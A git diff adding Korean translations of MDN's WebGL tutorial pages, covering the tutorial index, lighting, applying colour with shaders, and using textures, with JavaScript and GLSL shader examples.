diff --git a/files/ko/web/api/webgl_api/tutorial/index.html b/files/ko/web/api/webgl_api/tutorial/index.html new file mode 100644 index 0000000000..0e6230b0ea --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/index.html @@ -0,0 +1,40 @@ +--- +title: WebGL tutorial +slug: Web/API/WebGL_API/Tutorial +tags: + - Tutorial + - WebGL +translation_of: Web/API/WebGL_API/Tutorial +--- +
{{WebGLSidebar}}
+ +
+

WebGL 은 WebGL을 지원하는 브라우져에서 plugin을 사용하지 않고도, 웹 콘텐츠가 OpenGL ES 2.0 기반의 API를 이용하여 HTML {{HTMLElement("canvas")}}에서 3D 랜더링을 할 수 있도록 해 줍니다. WebGL 프로그램은 JavaScripts로 작성 된 제어 코드와 컴퓨터의 Graphics Processing Unit (GPU)에서 실행되는 특수한 효과를 내는 코드(Shader code)로 구성 됩니다. WebGL 요소들은 다른 HTML요소들과 섞어서 함께 사용 할 수 있으며 페이지의 다른 부분이나 페이지 배경과 함께 사용 할 수 있습니다.

+
+ +

이 튜토리얼은 WebGL 그래픽을 그리기 위해 <canvas>요소를 어떻게 사용하는지에 관해 기본부터 기술합니다. 제공된 예제들은 여러분이 WebGL로 무엇을 할 수 있는지를 명확히하고, 여러분 소유의 콘텐츠를 제작할 수 있도록 작은 코드들을 제공 할 것입니다.

+ +

시작하기 전에

+ +

<canvas> 요소를 사용하는 것은 크게 어렵진 않지만, 여러분은 HTML 과 JavaScript에 대하여 기본적인 이해가 꼭 필요합니다. <canvas> 요소와 WebGL은 일부 오래된 브라우저에서 지원되지 않으나, 최근 버전의 모든 주요 브라우저에서 지원됩니다. 우리는 canvas에 그림을 그리기 위해 그림을 신속하게 생성하는 JavaScript 콘텍스트 객체를 사용합니다.

+ +

In this tutorial

+ +
+
Getting started with WebGL
+
How to set up a WebGL context.
+
Adding 2D content to a WebGL context
+
How to render simple flat shapes using WebGL.
+
Using shaders to apply color in WebGL
+
Demonstrates how to add color to shapes using shaders.
+
Animating objects with WebGL
+
Shows how to rotate and translate objects to create simple animations.
+
Creating 3D objects using WebGL
+
Shows how to create and animate a 3D object (in this case, a cube).
+
Using textures in WebGL
+
Demonstrates how to map textures onto the faces of an object.
+
Lighting in WebGL
+
How to simulate lighting effects in your WebGL context.
+
Animating textures in WebGL
+
Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.
+
diff --git a/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html new file mode 100644 index 0000000000..37eb1ee7fa --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/lighting_in_webgl/index.html @@ -0,0 +1,177 @@ +--- +title: WebGL에서 조명 효과 적용하기 +slug: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +tags: + - WebGL + - 방향광 + - 빛 + - 웹지엘 + - 점광 + - 조명 + - 주변광 +translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

+ +

WebGL은 OpenGL 표준과는 다르게 자체적인 조명 효과를 제공하지 않습니다. 따라서 WebGL에서의 조명 효과는 개발자 스스로 만들어야 합니다. 다행스럽게도 조명 효과를 만드는 것이 아주 어려운 일은 아니며, 이 글을 통해 몇 가지 기초적인 부분을 이해할 수 있을 것입니다.

+ +

3D에서의 조명 시뮬레이션과 명암 효과

+ +

3D 그래픽의 조명 시뮬레이션에 대한 이론적 바탕에 대해 상세하게 알아보는 것은 이 글의 범위를 많이 벗어난다고 할 수 있지만, 그 동작 원리에 대해서는 조금이나마 알아볼 필요가 있습니다. 먼저 가장 널리 사용되는 조명 모델인 퐁 셰이딩(Phong shading)에 대한 위키피디아 자료를 한 번 읽어보시기 바랍니다.

+ +

조명에는 세 가지 기본 타입이 있습니다:

+ +

주변광(Ambient light)은 장면(scene) 전반에 걸쳐 스며드는 빛으로, 방향성이 없으며 장면 내에 있는 모든 표면을 그 표면의 방향과 관계없이 동일한 밝기로 비춰줍니다.

+ +

방향광(Directional light)은 특정한 방향으로만 비춰지는 빛입니다. 방향광은 아주 먼 곳에서 비춰지기 때문에 모든 빛 입자(photon, 광자)가 서로 평행한 방향으로 움직입니다. 방향광의 대표적인 예는 바로 태양광입니다.

+ +

점광(Point light)은 한 지점에서 모든 방향으로 퍼지면서 발산하는 빛입니다. 실생활에서 접할 수 있는 대부분의 빛이 이 점광에 해당합니다. 전구에서 나오는 빛이 점광의 대표적인 예라고 할 수 있겠습니다.

+ +

이 글에서는 반사광 하이라이트(specular highlight)나 점광원에 대해서는 다루지 않고, 단순한 방향광 조명과 주변광 조명만 알아 보겠습니다. 주변광에 방향광원(directional light source)을 더한 조명 효과를 앞 단원의 예제에 있던 회전하는 정육면체에 적용해보겠습니다.

+ +

점광원이나 반사광을 고려하지 않는다면, 방향광 조명을 구현하기 위한 정보는 크게 두 가지가 있습니다:​

+ +
    +
  1. 각 정점의 표면에 수직인 벡터를 의미하는 표면 법선 벡터(surface normal vector).
  2. +
  3. 빛이 쪼여지는 방향을 나타내는 방향 벡터.
  4. +
+ +

위 두 가지 정보를 구하고나면, 방향광의 방향과 정육면체의 표면이 만나는 각도에 따라 달라지는 방향광 조명 효과와 모든 표면에 균일하게 적용되는 주변광 조명 효과를 반영해서 각 정점의 색상을 조정할 수 있도록 정점 셰이더를 수정해야 합니다. 셰이더 코드를 어떻게 수정하는지는 조금 이따가 살펴보기로 하고, 먼저 정점의 법선 벡터를 만드는 방법부터 알아보겠습니다.

+ +

정점 별 법선 구성

+ +

조명 효과 적용을 위해 첫번째로 해야할 일은 정육면체를 이루는 모든 정점의 법선 배열을 구성하는 것입니다. 정육면체는 아주 단순한 객체이므로 정육면체의 법선 배열 역시 쉽게 만들 수 있습니다. 하지만 복잡하게 생긴 객체의 법선을 계산하는 것은 상당히 어렵습니다.

+ +
cubeVerticesNormalBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+
+var vertexNormals = [
+  // 앞
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+   0.0,  0.0,  1.0,
+
+  // 뒤
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+   0.0,  0.0, -1.0,
+
+  // 위
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+   0.0,  1.0,  0.0,
+
+  // 아래
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+   0.0, -1.0,  0.0,
+
+  // 오른쪽
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+   1.0,  0.0,  0.0,
+
+  // 왼쪽
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0,
+  -1.0,  0.0,  0.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(vertexNormals), gl.STATIC_DRAW);
+
+ +

이런 배열의 처리는 앞 단원에서 여러 번 다뤄왔으므로 이젠 꽤 친숙해 보일 것입니다. 새로운 버퍼를 생성하고, 버퍼와 법선 배열을 바인딩하고, bufferData()를 호출해서 법선 배열을 버퍼에 전달합니다.

+ +

그 다음에 법선 배열과 셰이더 attribute 변수에 바인딩해서 셰이더가 법선 배열 정보에 접근할 수 있도록 해주는 코드를 drawScene()에 추가합니다:

+ +
gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesNormalBuffer);
+gl.vertexAttribPointer(vertexNormalAttribute, 3, gl.FLOAT, false, 0, 0);
+
+ +

마지막으로 uniform 행렬을 구성하는 setMatrixUniforms()법선 행렬을 만들고 셰이더에게 전달하는 코드를 추가합니다. 법선 행렬은 광원을 기준으로 정육면체의 상대적인 방향에 따라 법선을 변환하는 데 사용됩니다:

+ +
var normalMatrix = mvMatrix.inverse();
+normalMatrix = normalMatrix.transpose();
+var nUniform = gl.getUniformLocation(shaderProgram, "uNormalMatrix");
+gl.uniformMatrix4fv(nUniform, false, new WebGLFloatArray(normalMatrix.flatten()));
+
+ +

셰이더 수정

+ +

조명 효과 구현을 위해 셰이더가 필요로 하는 데이터가 모두 준비되었으므로, 이제 셰이더 코드를 수정해보겠습니다.

+ +

정점 셰이더

+ +

제일 먼저 방향광 조명과 주변광 조명에 의한 각 정점의 명암 값을 계산해야 합니다. 일단 소스 코드부터 보겠습니다:

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute highp vec3 aVertexNormal;
+  attribute highp vec3 aVertexPosition;
+  attribute highp vec2 aTextureCoord;
+
+  uniform highp mat4 uNormalMatrix;
+  uniform highp mat4 uMVMatrix;
+  uniform highp mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+
+    // 조명 효과 적용
+
+    highp vec3 ambientLight = vec3(0.6, 0.6, 0.6);
+    highp vec3 directionalLightColor = vec3(0.5, 0.5, 0.75);
+    highp vec3 directionalVector = vec3(0.85, 0.8, 0.75);
+
+    highp vec4 transformedNormal = uNormalMatrix * vec4(aVertexNormal, 1.0);
+
+    highp float directional = max(dot(transformedNormal.xyz, directionalVector), 0.0);
+    vLighting = ambientLight + (directionalLightColor * directional);
+  }
+</script>
+
+ +

정점의 위치 계산이 끝나고, 정점의 텍셀(texel) 좌표값을 얻고나면, 그 값을 기준으로 정점의 명암을 계산할 수 있습니다.

+ +

정점의 명암을 계산하려면 먼저 정육면체의 현재 위치와 방향을 기준으로 법선을 변환해야 합니다. 정점의 법선에 법선 행렬을 곱하면 법선이 변환됩니다. 그 다음에 변환된 법선과 방향 벡터(광원으로부터 빛이 비춰지는 방향)를 내적(dot product)하면 정점에 비춰지는 방향광의 양을 계산할 수 있습니다. 빛의 양이 음수일 수는 없으므로, 계산된 방향광의 양이 음수일 때는 방향광의 양을 0으로 설정해줍니다.

+ +

방향광의 양을 계산하고 나면, 방향광의 색상과 방향광의 양을 곱한 값에 주변광의 값을 더해서 정점에 비춰지는 최종 빛의 양을 구할 수 있습니다. 결과적으로 RGB값이 나오는데, 이 RGB값은 프래그먼트 셰이더가 우리가 그릴 모든 픽셀에 대한 색상값을 계산하는데 사용됩니다.

+ +

프래그먼트 셰이더

+ +

이제 정점 셰이더에서 계산한 빛의 양을 반영해서 조명 효과를 표현할 수 있도록 프래그먼트 셰이더를 수정해야 합니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying highp vec2 vTextureCoord;
+  varying highp vec3 vLighting;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    mediump vec4 texelColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+
+    gl_FragColor = vec4(texelColor.rgb * vLighting, texelColor.a);
+  }
+</script>
+
+ +

앞 단원의 예제에서 했던 것처럼 텍셀의 색상값을 계산합니다. 하지만 이번에는 텍셀의 색상값을 바로 프래그먼트의 색상값으로 설정하지 않고,  조명 효과를 표현할 수 있도록 텍셀의 색상값에 빛의 양을 곱한 값을 프래그먼트의 색상값으로 설정합니다.

+ +

자 이제 다 완성했습니다! WebGL을 지원하는 브라우저라면 여기에서 실제 동작하는 예제를 확인할 수 있습니다.

+ +

연습해보기

+ +

알다시피 이번 예제는 정점 단위의 기본적인 조명 효과를 구현한 단순한 예제입니다. 더 수준 높은 컴퓨터 그래픽을 만들려면 정점 단위가 아니라 픽셀 단위의 조명 효과가 필요할 것입니다. 하지만 정점 단위의 조명 효과를 다룬 이 글이 고급 그래픽을 만드는데 도움이 될 것입니다.

+ +

빛의 방향이나 광원의 색상 등을 다른 값으로 바꿔보는 등 다양하게 실험해보는 것도 조명 효과를 이해하는데 도움이 될 것입니다.

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL", "Web/API/WebGL_API/Tutorial/Animating_textures_in_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html new file mode 100644 index 0000000000..edfb74401a --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html @@ -0,0 +1,98 @@ +--- +title: WebGL에서 셰이더를 사용하여 색상 적용하기 +slug: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +tags: + - 색상 + - 셰이더 + - 웹지엘 + - 컬러 +translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

+ +

앞 단원의 예제에서 정사각형을 그려봤으니, 이제 정사각형에 색을 칠해 보겠습니다. 셰이더를 조금 수정하면 색을 칠할 수 있습니다.

+ +

정점에 색상 적용

+ +

GL(Graphic Library)에서 객체는 정점의 집합으로 구성되며, 각 정점은 위치값과 색상값을 가지고 있습니다. 기본적으로 정점이 아닌 모든 픽셀의 색상값은 선형 보간법(linear interpolation)을 이용해서 계산됩니다. 색상 뿐 아니라 위치를 포함한 다른 모든 속성들도 마찬가지로 선형 보간법으로 계산됩니다. 색상의 경우 선형 보간법을 통해 보간되면 자연스럽게 부드러운 그라데이션(gradation)이 형성됩니다. 앞 단원에서는 정점 셰이더에서 정점에 아무런 색상도 적용하지 않았습니다. 대신에 프래그먼트 셰이더에서 각 픽셀에 흰색을 적용했기 때문에 전체 사각형이 흰색으로 그려질 수 있었습니다.

+ +

이제 정사각형의 각 꼭지점에 빨간색, 파란색, 녹색, 흰색을 적용해 보겠습니다. 정점이 아닌 픽셀들은 선형 보간에 의해 그라데이션이 형성됩니다. 먼저 네 개의 정점에 색을 지정하겠습니다. 정점에 색을 지정하려면 정점의 색상값을 가진 배열을 만들고, 이 배열을 WebGL 버퍼에 저장해야 합니다. initBuffers() 함수에 아래의 내용을 추가합니다:

+ +
  var colors = [
+    1.0,  1.0,  1.0,  1.0,    // 흰색
+    1.0,  0.0,  0.0,  1.0,    // 빨간색
+    0.0,  1.0,  0.0,  1.0,    // 녹색
+    0.0,  0.0,  1.0,  1.0     // 파란색
+  ];
+
+  squareVerticesColorBuffer = gl.createBuffer();
+  gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+  gl.bufferData(gl.ARRAY_BUFFER, new Float32Array(colors), gl.STATIC_DRAW);
+}
+
+ +

먼저 정점에 지정할 색상값을 가진 자바스크립트 배열을 생성합니다. 4개의 원소가 하나의 색을 나타내며, 정사각형의 4개의 꼭지점에 흰색, 빨간색, 파란색, 녹색이 지정되도록 값을 정합니다. 이 색상 정보 배열을 저장하기 위해 새로운 WebGL 버퍼를 생성하고, 배열은 부동소수점 형식으로 WebGL의 버퍼에 저장합니다.

+ +

이 색상 정보를 실제 렌더링에 사용하려면, 컬러 버퍼에서 색상 정보를 읽을 수 있도록 정점 셰이더를 수정해야 합니다:

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+  attribute vec4 aVertexColor;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying lowp vec4 vColor;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vColor = aVertexColor;
+  }
+</script>
+
+ +

수정 전의 소스와 가장 많이 달라진 점은, 색상 배열에서 읽은 값을 토대로 각 정점에 색상값을 지정했다는 점입니다.

+ +

프래그먼트에 색상 입히기

+ +

앞 단원에서 사용했던 프래그먼트 셰이더를 다시 한 번 보겠습니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  void main(void) {
+    gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+  }
+</script>
+
+ +

프래그먼트에 색상 입히기는 아주 쉽습니다. 위와 같이 프래그먼트 셰이더 내에서 흰색을 지정해주는 대신 단순히 vColor 변수에서 값을 읽어오도록 수정하기만 하면, 각 픽셀 별로 보간된 색상값을 구할 수 있습니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying lowp vec4 vColor;
+
+  void main(void) {
+    gl_FragColor = vColor;
+  }
+</script>
+
+ +

위와 같이 각 프래그먼트는 정점을 기준으로 상대적인 위치에 따라 선형 보간된 색상값을 갖게 됩니다.

+ +

색상을 적용해서 그리기

+ +

이제 셰이더 프로그램에서 색상 변수를 초기화하고 활성화하는 내용을 initShaders()에 추가합니다:

+ +
vertexColorAttribute = gl.getAttribLocation(shaderProgram, "aVertexColor");
+gl.enableVertexAttribArray(vertexColorAttribute);
+
+ +

다음은 정사각형을 그릴 때 색상 정보를 사용하도록 drawScene()을 수정합니다:

+ +
gl.bindBuffer(gl.ARRAY_BUFFER, squareVerticesColorBuffer);
+gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
+
+ +

이제 WebGL이 호환되는 브라우저에서 샘플을 보면, 검정색 바탕에 아래와 같은 정사각형이 그려지는 것을 볼 수 있습니다:

+ +

screenshot.png

+ +

{{PreviousNext("Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context", "Web/API/WebGL_API/Tutorial/Animating_objects_with_WebGL")}}

diff --git a/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html new file mode 100644 index 0000000000..b84b49017c --- /dev/null +++ b/files/ko/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html @@ -0,0 +1,183 @@ +--- +title: WebGL에서 텍스쳐 사용하기 +slug: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +tags: + - Texture + - WebGL + - 텍스쳐 +translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL +--- +

{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}

+ +

앞 단원의 예제에서 회전하는 3차원 정육면체를 만들어봤습니다. 이번에는 정육면체의 각 면에 단색으로 색을 칠하는 대신에 텍스쳐를 입혀 보겠습니다.

+ +

텍스쳐 로딩

+ +

가장 먼저 해야할 일은 텍스쳐를 읽어오는 것입니다. 이번 예제에서는 동일한 하나의 텍스쳐를 회전하는 정육면체의 6개의 면에 입혀볼 것입니다. 여러개의 텍스쳐를 각 면에 입힌다고 해도 하나를 입히는 것과 동일한 방법을 적용하면 됩니다.

+ +
Note: 텍스쳐를 외부에서 읽어올 때는 크로스 도메인 규칙(cross-domain rules)에 유의해야 합니다. CORS(Cross Origin Resource Sharing)승인을 받을 수 있는 도메인에 있는 텍스쳐만 읽어올 수 있습니다. 자세한 내용은 크로스 도메인 텍스쳐(Cross-domain textures)를 참고하세요.
+ +

텍스쳐를 읽어오는 코드는 다음과 같습니다:

+ +
function initTextures() {
+  cubeTexture = gl.createTexture();
+  cubeImage = new Image();
+  cubeImage.onload = function() { handleTextureLoaded(cubeImage, cubeTexture); }
+  cubeImage.src = "cubetexture.png";
+}
+
+function handleTextureLoaded(image, texture) {
+  gl.bindTexture(gl.TEXTURE_2D, texture);
+  gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, gl.RGBA, gl.UNSIGNED_BYTE, image);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR);
+  gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR_MIPMAP_NEAREST);
+  gl.generateMipmap(gl.TEXTURE_2D);
+  gl.bindTexture(gl.TEXTURE_2D, null);
+}
+
+ +

initTextures() 루틴은 GL의 createTexture() 함수를 호출해서 GL의 텍스쳐 객체인 cubeTexture를 생성하는 걸로 시작됩니다. 그리고 Image 객체를 생성해서 텍스쳐로 사용하기 위해 로딩한 이미지 파일을 Image 객체에 저장합니다. handleTextureLoaded()  콜백 루틴은 이미지 로딩이 완료되면 실행됩니다.

+ +

텍스쳐를 실질적으로 생성하려면, 앞에서 새로 생성한 텍스쳐 객체를 gl.TEXTURE_2D에 바인딩해야 합니다. 그리고 나서 이미지 데이터가 로딩된 이미지 객체를 texImage2D()에 전달하여 호출하면, 이미지 데이터가 텍스쳐에 쓰여(write) 집니다.

+ +
Note: 텍스쳐의 너비와 높이는 거의 대부분의 상황에서 2의 거듭제곱 픽셀(1, 2, 4, 8, 16, 32, ...)이어야 합니다. 예외인 경우에 대해서는 아래의 "크기가 2의 거듭제곱 픽셀이 아닌 텍스쳐"를 참고하세요.
+ +

그 다음 두 라인은 텍스쳐를 위한 필터링을 준비합니다. 이 필터링은 이미지 크기가 변경될 때 이미지가 필터되는 방식을 제어합니다. 여기에서는 이미지를 확대할 때 선형 필터링을 사용하고, 이미지를 축소할 때 mipmap을 사용합니다. generateMipMap()을 호출해서 mipmap이 만들어지면 gl.TEXTURE_2D에 null을 바인딩시켜서, 텍스쳐를 다룰 준비가 끝났다는 것을 WebGL에게 알려줍니다.

+ +

크기가 2의 거듭제곱이 아닌 텍스쳐

+ +

일반적으로 너비와 높이가 2의 거듭제곱인 텍스쳐를 사용하는 것이 가장 이상적입니다. 왜냐하면 2의 거듭제곱인 텍스쳐는 비디오 메모리에 효율적으로 저장될 수 있고, 어떤 방식으로 사용되어야만 한다는 제약이 없기 때문입니다. 예술가들이 이미 작성한 텍스쳐는 너비와 높이가 2의 거듭제곱이 되도록 크기를 맞춰줘야 하며, 가능하다면 아예 만들때부터 2의 거듭제곱으로 만드는 것이 좋습니다. 너비와 높이는 2의 거듭제곱인 1, 2, 4, 8, 16, 32, 64, 128, 256, 512, 1024, 또는 2048 픽셀이어야 합니다. 전부는 아니지만 많은 디바이스가 4096 픽셀도 지원하고 있으며, 어떤 디바이스는 8192 픽셀 이상을 지원하기도 합니다.

+ +

2의 거듭제곱인 텍스쳐를 사용하기 곤란한 상황도 있을 수 있습니다. 텍스쳐의 소스가 되는 이미지를 써드파티에서 구한 것이라면, WebGL에 전달하기 전에 HTML5 캔버스를 이용해서 이미지 크기를 2의 거듭제곱으로 수정하는 것이 좋습니다. 이 때 UV 좌표값도 함께 조정해야 합니다.

+ +

2의 거듭제곱이 아닌(NPOT, Non Power Of Two) 텍스쳐를 꼭 써야만 하는 상황도 있을 것입니다. WebGL은 NPOT 텍스쳐도 제한적으로 지원합니다. 텍스쳐의 크기가 모니터 해상도와 똑같아야만 한다거나, 위의 단락에서 언급한 것처럼 2의 거듭제곱으로 수정하는 일이 단순히 귀찮을 때는 NPOT 텍스쳐가 유용할 수 있습니다. 하지만 NPOT 텍스쳐에는 제약 사항이 있습니다. NPOT 텍스쳐는 mipmapping을 할 수 없으며, 타일(tile) 또는 감싸기(wrap) 처럼 "반복"하는 방식으로 사용할 수 없습니다.

+ +

몇 개의 벽돌 이미지를 타일링 해서 벽돌로 된 벽을 만드는 것이 텍스쳐 반복의 한 사례 입니다.

+ +

bindTexture()를 이용해서 텍스쳐를 생성할 때, texParameteri() 메서드로 mipmapping과 UV 반복을 비활성화 시킬 수 있습니다.  이 비활성화를 통해 mipmapping, UV 감싸기, UV 타일링을 포기하고, 디바이스가 텍스쳐를 어떻게 처리할지 결정할 수 있는 제어권도 포기하는 대신 NPOT 텍스쳐를 사용할 수 있게 됩니다.

+ +
gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); //gl.LINEAR 대신에 gl.NEAREST도 허용되지만, 둘 다 mipmap 될 수 없다.
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); //s좌표계 감싸기(반복) 방지
+gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); //t좌표계 감싸기(반복) 방지
+ +

texParameteri() 메서드에 위와 같은 파라미터를 전달함으로써, WebGL을 지원하는 디바이스는 어떤 해상도의 텍스쳐든 처리할 수 있는 최대한의 해상도까지 자동으로 처리할 수 있게 됩니다. 위와 같은 설정을 해주지 않으면 WebGL은 NPOT 텍스쳐를 처리하지 못하고 rgba(0, 0, 0, 1)인 검은색을 반환합니다.

+ +

면에 텍스쳐 입히기

+ +

이제 텍스쳐 읽어오기는 완료되었고, 텍스쳐도 사용할 준비가 되어 있습니다. 하지만 텍스쳐를 사용하기 전에 텍스쳐의 좌표와 정육면체의 면의 정점을 매핑 시켜줘야 합니다. 이를 위해 initBuffers() 함수 안에 있던 정육면체 각 면의 색상을 설정하는 내용을 모두 아래와 같은 코드로 대체합니다.

+ +
cubeVerticesTextureCoordBuffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, cubeVerticesTextureCoordBuffer);
+
+var textureCoordinates = [
+  // 앞
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 뒤
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 위
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 아래
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 오른쪽
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0,
+  // 왼쪽
+  0.0,  0.0,
+  1.0,  0.0,
+  1.0,  1.0,
+  0.0,  1.0
+];
+
+gl.bufferData(gl.ARRAY_BUFFER, new WebGLFloatArray(textureCoordinates),
+              gl.STATIC_DRAW);
+
+ +

먼저 각 면의 텍스쳐 좌표를 저장할 GL 버퍼를 생성하고, 텍스쳐 좌표 배열에 바인딩 합니다.

+ +

textureCoordinates 배열은 정육면체 각 면의 정점에 해당하는 텍스쳐 좌표를 정의합니다. 텍스쳐 좌표값의 범위는 0.0 에서 1.0 사이라는 점을 기억해 주십시오. 텍스쳐 좌표의 너비값과 높이값은 실제 너비값이나 높이값과 관계 없이 언제나 0.0 에서 1.0 사이의 값으로 정규화(normalize) 됩니다.

+ +

텍스쳐 매핑 배열 설정이 끝나고 배열을 버퍼에 전달하면 GL이 텍스쳐 데이터를 사용할 수 있게 됩니다.

+ +
Note: WebKit 기반의 브라우저에서는 WebGLFloatArray 대신에 Float32Array를 사용해야 합니다. 
+ +

셰이더 수정

+ +

셰이더 프로그램과 셰이더를 초기화하는 코드들도 단색 색상 대신 텍스쳐를 사용할 수 있도록 수정해야 합니다.

+ +

먼저 initShaders() 안에 있는 아주 단순한 변경 사항을 알아 봅시다:

+ +
textureCoordAttribute = gl.getAttribLocation(shaderProgram, "aTextureCoord");
+gl.enableVertexAttribArray(textureCoordAttribute);
+
+ +

정점 컬러 attribute 변수를 설정하던 코드가, 각 정점의 텍스쳐 좌표값을 설정하는 코드로 대체 되었습니다. 

+ +

정점 셰이더

+ +

다음으로 색상 데이터를 읽어오던 정점 셰이더를 텍스쳐 좌표를 읽어오도록 수정해야 합니다.

+ +
<script id="shader-vs" type="x-shader/x-vertex">
+  attribute vec3 aVertexPosition;
+  attribute vec2 aTextureCoord;
+
+  uniform mat4 uMVMatrix;
+  uniform mat4 uPMatrix;
+
+  varying highp vec2 vTextureCoord;
+
+  void main(void) {
+    gl_Position = uPMatrix * uMVMatrix * vec4(aVertexPosition, 1.0);
+    vTextureCoord = aTextureCoord;
+  }
+</script>
+
+ +

정점 색상 정보를 읽어오는 대신에 텍스쳐 좌표값을 읽어와서 설정한다는 점이 키 포인트 입니다. 위와 같이 정점과 텍스쳐 좌표값을 매핑하면, 각 정점이 텍스쳐의 어느 지점에 해당 하는지 알려줄 수 있습니다.

+ +

프래그먼트 셰이더

+ +

마찬가지로 프래그먼트 셰이더도 수정해야 합니다:

+ +
<script id="shader-fs" type="x-shader/x-fragment">
+  varying highp vec2 vTextureCoord;
+
+  uniform sampler2D uSampler;
+
+  void main(void) {
+    gl_FragColor = texture2D(uSampler, vec2(vTextureCoord.s, vTextureCoord.t));
+  }
+</script>
+
+ +

이렇게 하면 프래그먼트의 색상을 정하기 위해 직접 프래그먼트에 색상값을 할당하지 않고, 샘플러(sampler)가 판단하기에 프래그먼트의 위치에 가장 잘 맞아 떨어진다고 여겨지는 텍셀(texel, 텍스쳐 내부에 있는 픽셀)값에 따라서 프래그먼트의 색상값을 계산해냅니다.

+ +

텍스쳐를 입힌 정육면체 그리기

+ +

텍스쳐를 입힌 상태를 더 명확하게 확인할 수 있도록, 앞 단원의 예제에 포함되어 있던 정육면체의 이동을 제거한 것을 제외하면 drawScene() 함수의 수정은 간단합니다.

+ +

정점에 색상을 매핑하던 코드를 다음과 같이 면에 텍스쳐를 매핑하는 코드로 대체합니다:

+ +
gl.activeTexture(gl.TEXTURE0);
+gl.bindTexture(gl.TEXTURE_2D, cubeTexture);
+gl.uniform1i(gl.getUniformLocation(shaderProgram, "uSampler"), 0);
+
+ +

GL은 32개의 텍스쳐 레지스터를 제공합니다. 그 중 첫번째 레지스터는 gl.TEXTURE0 입니다. 텍스쳐를 사용하기 위해 전에 읽어온 텍스쳐를 gl.TEXTURE0에 바인딩하고, 셰이더 샘플러를 셰이더 프로그램에 명시되어 있는 uSampler로 설정합니다.

+ +

